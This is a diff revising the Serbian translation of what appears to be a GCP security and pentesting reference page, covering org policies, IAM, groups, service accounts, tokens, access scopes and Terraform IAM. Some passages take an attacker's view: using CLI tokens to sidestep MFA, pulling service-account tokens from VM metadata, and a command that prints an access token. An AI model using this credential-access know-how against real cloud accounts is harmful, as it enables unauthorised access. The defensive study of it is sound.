+ Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima vaše organizacije. Za **više informacija, pogledajte** [**spisak svih ograničenja politike organizacije**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.** -### **Podrazumevane Politike Organizacije** +### **Podrazumevane politike organizacije**
@@ -48,39 +54,39 @@ Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima **Politike upravljanja pristupom** -- **Kontakti sa ograničenim domenom:** Sprečava dodavanje korisnika u Esencijalne kontakte van vaših specificiranih domena. Ovo ograničava Esencijalne kontakte da dozvole samo upravljanim identitetima korisnika u vašim odabranim domenama da primaju obaveštenja sa platforme. -- **Deljenje sa ograničenim domenom:** Sprečava dodavanje korisnika u IAM politike van vaših specificiranih domena. Ovo ograničava IAM politike da dozvole samo upravljanim identitetima korisnika u vašim odabranim domenama da pristupaju resursima unutar ove organizacije. +- **Kontakti sa ograničenim domenom:** Sprečava dodavanje korisnika u Esencijalne kontakte van vaših specificiranih domena. Ovo ograničava Esencijalne kontakte da dozvole samo upravljane identitete korisnika u vašim odabranim domenama da primaju obaveštenja sa platforme. +- **Deljenje sa ograničenim domenom:** Sprečava dodavanje korisnika u IAM politike van vaših specificiranih domena. Ovo ograničava IAM politike da dozvole samo upravljane identitete korisnika u vašim odabranim domenama da pristupaju resursima unutar ove organizacije. - **Sprečavanje javnog pristupa:** Sprečava Cloud Storage kante da budu izložene javnosti. Ovo osigurava da programer ne može konfigurisati Cloud Storage kante da imaju neautentifikovani pristup internetu. - **Uniformni pristup na nivou kante:** Sprečava liste kontrola pristupa (ACL) na nivou objekta u Cloud Storage kantama. Ovo pojednostavljuje vaše upravljanje pristupom primenom IAM politika dosledno na svim objektima u Cloud Storage kantama. -- **Zahtevajte OS prijavu:** VMs kreirane u novim projektima će imati omogućenu OS prijavu. Ovo vam omogućava da upravljate SSH pristupom vašim instancama koristeći IAM bez potrebe da kreirate i upravljate pojedinačnim SSH ključevima. +- **Zahteva OS prijavu:** VMs kreirane u novim projektima će imati omogućenu OS prijavu. Ovo vam omogućava da upravljate SSH pristupom vašim instancama koristeći IAM bez potrebe da kreirate i upravljate pojedinačnim SSH ključevima. **Dodatne sigurnosne politike za naloge za usluge** -- **Onemogućite automatske IAM dozvole:** Sprečava da se podrazumevani App Engine i Compute Engine nalozi za usluge automatski dodeljuju IAM ulogu urednika na projektu prilikom kreiranja. Ovo osigurava da nalozi za usluge ne dobiju previše dozvola prilikom kreiranja. -- **Onemogućite kreiranje ključeva naloga za usluge:** Sprečava kreiranje javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od izlaganja trajnih akreditiva. -- **Onemogućite otpremu ključeva naloga za usluge:** Sprečava otpremu javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od curenja ili ponovne upotrebe materijala ključeva. +- **Onemogući automatske IAM dozvole**: Sprečava da se podrazumevani App Engine i Compute Engine nalozi za usluge automatski dodeljuju IAM ulogu urednika prilikom kreiranja projekta. Ovo osigurava da nalozi za usluge ne dobiju previše dozvola prilikom kreiranja. +- **Onemogući kreiranje ključeva naloga za usluge**: Sprečava kreiranje javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od izlaganja trajnih akreditiva. +- **Onemogući otpremanje ključeva naloga za usluge**: Sprečava otpremanje javnih ključeva naloga za usluge. Ovo pomaže u smanjenju rizika od curenja ili ponovne upotrebe materijala ključeva. -**Politike konfiguracije sigurnih VPC mreža** +**Sigurne politike konfiguracije VPC mreže** -- **Definišite dozvoljene spoljne IP adrese za VM instance:** Sprečava kreiranje Compute instanci sa javnim IP, što može da ih izloži internet saobraćaju. +- **Definišite dozvoljene spoljne IP adrese za VM instance**: Sprečava kreiranje Compute instanci sa javnim IP, što može izložiti internet saobraćaju. -* **Onemogućite VM ugnježdenu virtualizaciju:** Sprečava kreiranje ugnježdenih VMs na Compute Engine VMs. Ovo smanjuje sigurnosni rizik od neproverenih ugnježdenih VMs. +* **Onemogući VM ugnježdenu virtualizaciju**: Sprečava kreiranje ugnježdenih VMs na Compute Engine VMs. Ovo smanjuje sigurnosni rizik od neproverenih ugnježdenih VMs. -- **Onemogućite serijski port VM:** Sprečava pristup serijskom portu Compute Engine VMs. Ovo sprečava unos u serijski port servera koristeći Compute Engine API. +- **Onemogući serijski port VM:** Sprečava pristup serijskom portu Compute Engine VMs. Ovo sprečava unos u serijski port servera koristeći Compute Engine API. * **Ograničite autorizovane mreže na Cloud SQL instancama:** Sprečava javne ili neinternetske mrežne opsege da pristupaju vašim Cloud SQL bazama podataka. -- **Ograničite prosleđivanje protokola na osnovu tipa IP adrese:** Sprečava prosleđivanje VM protokola za spoljne IP adrese. +- **Ograničite preusmeravanje protokola na osnovu tipa IP adrese:** Sprečava preusmeravanje VM protokola za spoljne IP adrese. -* **Ograničite javni pristup IP na Cloud SQL instancama:** Sprečava kreiranje Cloud SQL instanci sa javnim IP, što može da ih izloži internet saobraćaju. +* **Ograničite javni pristup IP na Cloud SQL instancama:** Sprečava kreiranje Cloud SQL instanci sa javnim IP, što može izložiti internet saobraćaju. - **Ograničite uklanjanje tereta zajedničkog VPC projekta:** Sprečava slučajno brisanje zajedničkih VPC host projekata. -* **Postavite internu DNS postavku za nove projekte na Zonal DNS Samo:** Sprečava korišćenje nasleđene DNS postavke koja je smanjila dostupnost usluga. +* **Postavlja unutrašnju DNS postavku za nove projekte na Zonal DNS Samo:** Sprečava korišćenje nasleđene DNS postavke koja je smanjila dostupnost usluga. -- **Preskočite kreiranje podrazumevane mreže:** Sprečava automatsko kreiranje podrazumevane VPC mreže i povezanih resursa. Ovo izbegava previše dozvola podrazumevanih pravila vatrozida. +- **Preskoči kreiranje podrazumevane mreže:** Sprečava automatsko kreiranje podrazumevane VPC mreže i povezanih resursa. Ovo izbegava previše dozvola podrazumevanih pravila vatrozida. -* **Onemogućite korišćenje VPC spoljnog IPv6:** Sprečava kreiranje spoljašnjih IPv6 podmreža, koje mogu biti izložene neovlašćenom pristupu internetu. +* **Onemogući korišćenje VPC spoljnog IPv6:** Sprečava kreiranje spoljašnjih IPv6 podmreža, koje mogu biti izložene neovlašćenom pristupu internetu.
@@ -88,8 +94,8 @@ Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima Ove su slične IAM politikama u AWS-u jer **svaka uloga sadrži skup dozvola.** -Međutim, za razliku od AWS-a, ne postoji **centralizovani repozitorijum** uloga. Umesto toga, **resursi daju X pristupne uloge Y principima**, a jedini način da saznate ko ima pristup resursu je korišćenje **`get-iam-policy` metode nad tim resursom**.\ -To može biti problem jer to znači da je jedini način da saznate **koje dozvole ima princip da pitate svaki resurs kome dodeljuje dozvole**, a korisnik možda nema dozvole da dobije dozvole od svih resursa. +Međutim, za razliku od AWS-a, ne postoji **centralizovani repozitorij** uloga. Umesto toga, **resursi daju X pristupne uloge Y principima**, a jedini način da saznate ko ima pristup resursu je korišćenje **`get-iam-policy` metode nad tim resursom**.\ +To može biti problem jer to znači da je jedini način da saznate **koje dozvole ima princip da pitate svaki resurs kome dodeljuje dozvole**, a korisnik možda neće imati dozvole da dobije dozvole od svih resursa. Postoje **tri tipa** uloga u IAM: @@ -104,21 +110,25 @@ Pored toga, imajte na umu da će **dozvole** imati efekat samo ako su **priklju Ili proverite da li **prilagođena uloga može koristiti** [**određenu dozvolu ovde**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.** +{{#ref}} +../gcp-services/gcp-iam-and-org-policies-enum.md +{{#endref}} + ## Korisnici U **GCP konzoli** ne postoji upravljanje Korisnicima ili Grupama, to se obavlja u **Google Workspace**. Iako možete sinhronizovati različitog provajdera identiteta u Google Workspace. -Možete pristupiti korisnicima i grupama Workspace-a na [**https://admin.google.com**](https://admin.google.com/). +Možete pristupiti korisnicima i grupama Workspaces na [**https://admin.google.com**](https://admin.google.com/). -**MFA** može biti **prinudna** za korisnike Workspace-a, međutim, **napadač** može koristiti token za pristup GCP-u **putem CLI-a koji neće biti zaštićen MFA** (biće zaštićen MFA samo kada se korisnik prijavi da ga generiše: `gcloud auth login`). +**MFA** može biti **prinudna** za korisnike Workspaces, međutim, **napadač** može koristiti token za pristup GCP **putem CLI-a koji neće biti zaštićen MFA** (biće zaštićen MFA samo kada se korisnik prijavi da ga generiše: `gcloud auth login`). ## Grupe Kada se organizacija kreira, nekoliko grupa je **snažno preporučeno da se kreiraju.** Ako upravljate bilo kojom od njih, mogli ste kompromitovati sve ili važan deo organizacije: -
GrupaFunkcija
gcp-organization-admins
(grupa ili pojedinačni nalozi potrebni za kontrolnu listu)
Upravljanje bilo kojim resursom koji pripada organizaciji. Dodelite ovu ulogu štedljivo; administratori organizacije imaju pristup svim vašim Google Cloud resursima. Alternativno, s obzirom na to da je ova funkcija visoko privilegovana, razmotrite korišćenje pojedinačnih naloga umesto kreiranja grupe.
gcp-network-admins
(potrebno za kontrolnu listu)
Kreiranje mreža, podmreža, pravila vatrozida i mrežnih uređaja kao što su Cloud Router, Cloud VPN i cloud load balancers.
gcp-billing-admins
(potrebno za kontrolnu listu)
Postavljanje računa za naplatu i praćenje njihove upotrebe.
gcp-developers
(potrebno za kontrolnu listu)
Dizajniranje, kodiranje i testiranje aplikacija.
gcp-security-admins
Usmeravanje i upravljanje sigurnosnim politikama za celu organizaciju, uključujući upravljanje pristupom i politike ograničenja organizacije. Pogledajte vodič za sigurnosne osnove Google Clouda za više informacija o planiranju vaše Google Cloud sigurnosne infrastrukture.
gcp-devopsKreiranje ili upravljanje end-to-end procesima koji podržavaju kontinuiranu integraciju i isporuku, praćenje i sistemsko obezbeđenje.
gcp-logging-admins
gcp-logging-viewers
gcp-monitor-admins
gcp-billing-viewer
(više nije podrazumevano)
Praćenje troškova na projektima. Tipični članovi su deo finansijskog tima.
gcp-platform-viewer
(više nije podrazumevano)
Pregled informacija o resursima širom Google Cloud organizacije.
gcp-security-reviewer
(više nije podrazumevano)
Pregledanje sigurnosti u oblaku.
gcp-network-viewer
(više nije podrazumevano)
Pregledanje mrežnih konfiguracija.
grp-gcp-audit-viewer
(više nije podrazumevano)
Pregledanje revizorskih logova.
gcp-scc-admin
(više nije podrazumevano)
Upravljanje Security Command Center-om.
gcp-secrets-admin
(više nije podrazumevano)
Upravljanje tajnama u Secret Manager-u.
+
GrupaFunkcija
gcp-organization-admins
(grupa ili pojedinačni nalozi potrebni za kontrolnu listu)
Upravljanje bilo kojim resursom koji pripada organizaciji. Dodelite ovu ulogu štedljivo; administratori organizacije imaju pristup svim vašim Google Cloud resursima. Alternativno, s obzirom na to da je ova funkcija visoko privilegovana, razmotrite korišćenje pojedinačnih naloga umesto kreiranja grupe.
gcp-network-admins
(potrebno za kontrolnu listu)
Kreiranje mreža, podmreža, pravila vatrozida i mrežnih uređaja kao što su Cloud Router, Cloud VPN i cloud load balanceri.
gcp-billing-admins
(potrebno za kontrolnu listu)
Postavljanje računa za naplatu i praćenje njihove upotrebe.
gcp-developers
(potrebno za kontrolnu listu)
Dizajniranje, kodiranje i testiranje aplikacija.
gcp-security-admins
Usmeravanje i upravljanje sigurnosnim politikama za celu organizaciju, uključujući upravljanje pristupom i politike ograničenja organizacije. Pogledajte vodič za sigurnosne osnove Google Clouda za više informacija o planiranju vaše Google Cloud sigurnosne infrastrukture.
gcp-devopsKreiranje ili upravljanje end-to-end cevovodima koji podržavaju kontinuiranu integraciju i isporuku, praćenje i provisioning sistema.
gcp-logging-admins
gcp-logging-viewers
gcp-monitor-admins
gcp-billing-viewer
(više nije podrazumevano)
Praćenje troškova na projektima. Tipični članovi su deo finansijskog tima.
gcp-platform-viewer
(više nije podrazumevano)
Pregled informacija o resursima širom Google Cloud organizacije.
gcp-security-reviewer
(više nije podrazumevano)
Pregledanje sigurnosti u oblaku.
gcp-network-viewer
(više nije podrazumevano)
Pregledanje mrežnih konfiguracija.
grp-gcp-audit-viewer
(više nije podrazumevano)
Pregledanje revizorskih logova.
gcp-scc-admin
(više nije podrazumevano)
Upravljanje Centrom za bezbednost.
gcp-secrets-admin
(više nije podrazumevano)
Upravljanje tajnama u Secret Manager-u.
-## **Podrazumevana Politika Lozinki** +## **Podrazumevana politika lozinki** - Sprovodite jake lozinke - Između 8 i 100 karaktera @@ -126,27 +136,33 @@ Kada se organizacija kreira, nekoliko grupa je **snažno preporučeno da se krei - Bez isteka - Ako ljudi pristupaju Workspace-u putem treće strane, ovi zahtevi se ne primenjuju. +
+ +
+ ## **Nalozi za usluge** -Ovo su principi koje **resursi** mogu **imati** **priključene** i pristupiti kako bi lako interagovali sa GCP-om. Na primer, moguće je pristupiti **auth tokenu** naloga za usluge **priključenog VM-u** u metapodacima.\ -Moguće je naići na neke **sukobe** kada se koriste i **IAM i pristupne oblasti**. Na primer, vaš nalog za usluge može imati IAM ulogu `compute.instanceAdmin`, ali instanca koju ste kompromitovali ima ograničenje opsega `https://www.googleapis.com/auth/compute.readonly`. Ovo bi vam onemogućilo da napravite bilo kakve promene koristeći OAuth token koji je automatski dodeljen vašoj instanci. +Ovo su principi koje **resursi** mogu **imati** **priključene** i pristupiti kako bi lako interagovali sa GCP-om. Na primer, moguće je pristupiti **auth tokenu** naloga za usluge **priključenom VM-u** u metapodacima.\ +Moguće je naići na neke **sukobe** kada koristite i **IAM i pristupne opsege**. Na primer, vaš nalog za usluge može imati IAM ulogu `compute.instanceAdmin`, ali instanca koju ste kompromitovali ima ograničenje opsega `https://www.googleapis.com/auth/compute.readonly`. Ovo bi vam onemogućilo da napravite bilo kakve promene koristeći OAuth token koji je automatski dodeljen vašoj instanci. -Slično je **IAM ulogama iz AWS-a**. Ali ne kao u AWS-u, **bilo koji** nalog za usluge može biti **priključen bilo kojoj usluzi** (ne mora to da dozvoli putem politike). +Slično je **IAM ulogama iz AWS-a**. Ali ne kao u AWS-u, **bilo koji** nalog za usluge može biti **priključen bilo kojoj usluzi** (ne mora to da dozvoli putem politike). + +Nekoliko naloga za usluge koje ćete pronaći su zapravo **automatski generisani od strane GCP-a** kada počnete da koristite uslugu, kao: ``` PROJECT_NUMBER-compute@developer.gserviceaccount.com PROJECT_ID@appspot.gserviceaccount.com ``` -Međutim, takođe je moguće kreirati i pridružiti se resursima **prilagođenim servisnim nalozima**, koji će izgledati ovako: +Međutim, takođe je moguće kreirati i povezati se sa resursima **custom service accounts**, koji će izgledati ovako: ``` SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com ``` ### **Ključevi i Tokeni** -Postoje 2 glavna načina za pristup GCP-u kao servisnom nalogu: +Postoje 2 glavna načina za pristup GCP kao servisni nalog: -- **Putem OAuth tokena**: To su tokeni koje ćete dobiti sa mesta kao što su metapodaci ili krađom http zahteva i ograničeni su **opsegom pristupa**. -- **Ključevi**: To su javni i privatni parovi ključeva koji će vam omogućiti da potpišete zahteve kao servisni nalog i čak generišete OAuth tokene za izvršavanje radnji kao servisni nalog. Ovi ključevi su opasni jer ih je teže ograničiti i kontrolisati, zato GCP preporučuje da ih ne generišete. -- Imajte na umu da svaki put kada se kreira SA, **GCP generiše ključ za servisni nalog** kojem korisnik ne može pristupiti (i neće biti naveden u web aplikaciji). Prema [**ovoj temi**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) ovaj ključ je **interno korišćen od strane GCP-a** da omogući metapodacima pristup za generisanje dostupnih OAuth tokena. +- **Putem OAuth tokena**: Ovo su tokeni koje ćete dobiti sa mesta kao što su metapodaci ili krađom http zahteva i ograničeni su **opsegom pristupa**. +- **Ključevi**: Ovo su javni i privatni parovi ključeva koji će vam omogućiti da potpišete zahteve kao servisni nalog i čak generišete OAuth tokene za izvršavanje akcija kao servisni nalog. Ovi ključevi su opasni jer ih je teže ograničiti i kontrolisati, zato GCP preporučuje da ih ne generišete. +- Imajte na umu da svaki put kada se kreira SA, **GCP generiše ključ za servisni nalog** kojem korisnik ne može pristupiti (i neće biti naveden u web aplikaciji). Prema [**ovoj temi**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) ovaj ključ je **interno korišćen od strane GCP** da omogući metapodacima pristup za generisanje dostupnih OAuth tokena. ### **Opsezi pristupa** @@ -172,7 +188,7 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token= ``` Prethodni **opsezi** su oni generisani **podrazumevano** koristeći **`gcloud`** za pristup podacima. To je zato što kada koristite **`gcloud`** prvo kreirate OAuth token, a zatim ga koristite za kontaktiranje krajnjih tačaka. -Najvažniji opseg od onih potencijalno je **`cloud-platform`**, što u osnovi znači da je moguće **pristupiti bilo kojoj usluzi u GCP**. +Najvažniji opseg od tih potencijalno je **`cloud-platform`**, što u osnovi znači da je moguće **pristupiti bilo kojoj usluzi u GCP**. Možete **pronaći listu** [**svih mogućih opsega ovde**](https://developers.google.com/identity/protocols/googlescopes)**.** @@ -190,11 +206,11 @@ gcloud auth application-default print-access-token ``` ## **Terraform IAM Politike, Povezivanja i Članstva** -Kao što je definisano od strane terraform-a u [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam), korišćenjem terraform-a sa GCP postoje različiti načini za dodeljivanje pristupa resursu: +Kao što je definisano od strane terraform-a u [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam), korišćenjem terraform-a sa GCP postoje različiti načini za dodeljivanje pristupa principalu nad resursom: - **Članstva**: Postavljate **principale kao članove uloga** **bez ograničenja** nad ulogom ili principima. Možete staviti korisnika kao člana uloge, a zatim staviti grupu kao člana iste uloge i takođe postaviti te principe (korisnika i grupu) kao članove drugih uloga. - **Povezivanja**: Nekoliko **principala može biti povezano sa ulogom**. Ti **principali mogu i dalje biti povezani ili članovi drugih uloga**. Međutim, ako je principal koji nije povezan sa ulogom postavljen kao **član povezane uloge**, sledeći put kada se **povezivanje primeni, članstvo će nestati**. -- **Politike**: Politika je **autoritativna**, ukazuje na uloge i principe i tada, **ti principi ne mogu imati više uloga i te uloge ne mogu imati više principa** osim ako ta politika nije izmenjena (čak ni u drugim politikama, povezivanjima ili članstvima). Stoga, kada je uloga ili principal specificiran u politici, sve njegove privilegije su **ograničene tom politikom**. Očigledno, ovo se može zaobići u slučaju da principal dobije opciju da izmeni politiku ili dozvole za eskalaciju privilegija (kao što je kreiranje novog principa i povezivanje sa novom ulogom). +- **Politike**: Politika je **autoritativna**, ukazuje na uloge i principe i tada, **ti principi ne mogu imati više uloga i te uloge ne mogu imati više principa** osim ako ta politika nije izmenjena (čak ni u drugim politikama, povezivanjima ili članstvima). Stoga, kada je uloga ili principal specificiran u politici, sve njegove privilegije su **ograničene tom politikom**. Očigledno, ovo se može zaobići u slučaju da principal dobije opciju da izmeni politiku ili dozvole za eskalaciju privilegija (kao što je kreiranje novog principala i povezivanje sa novom ulogom). ## Reference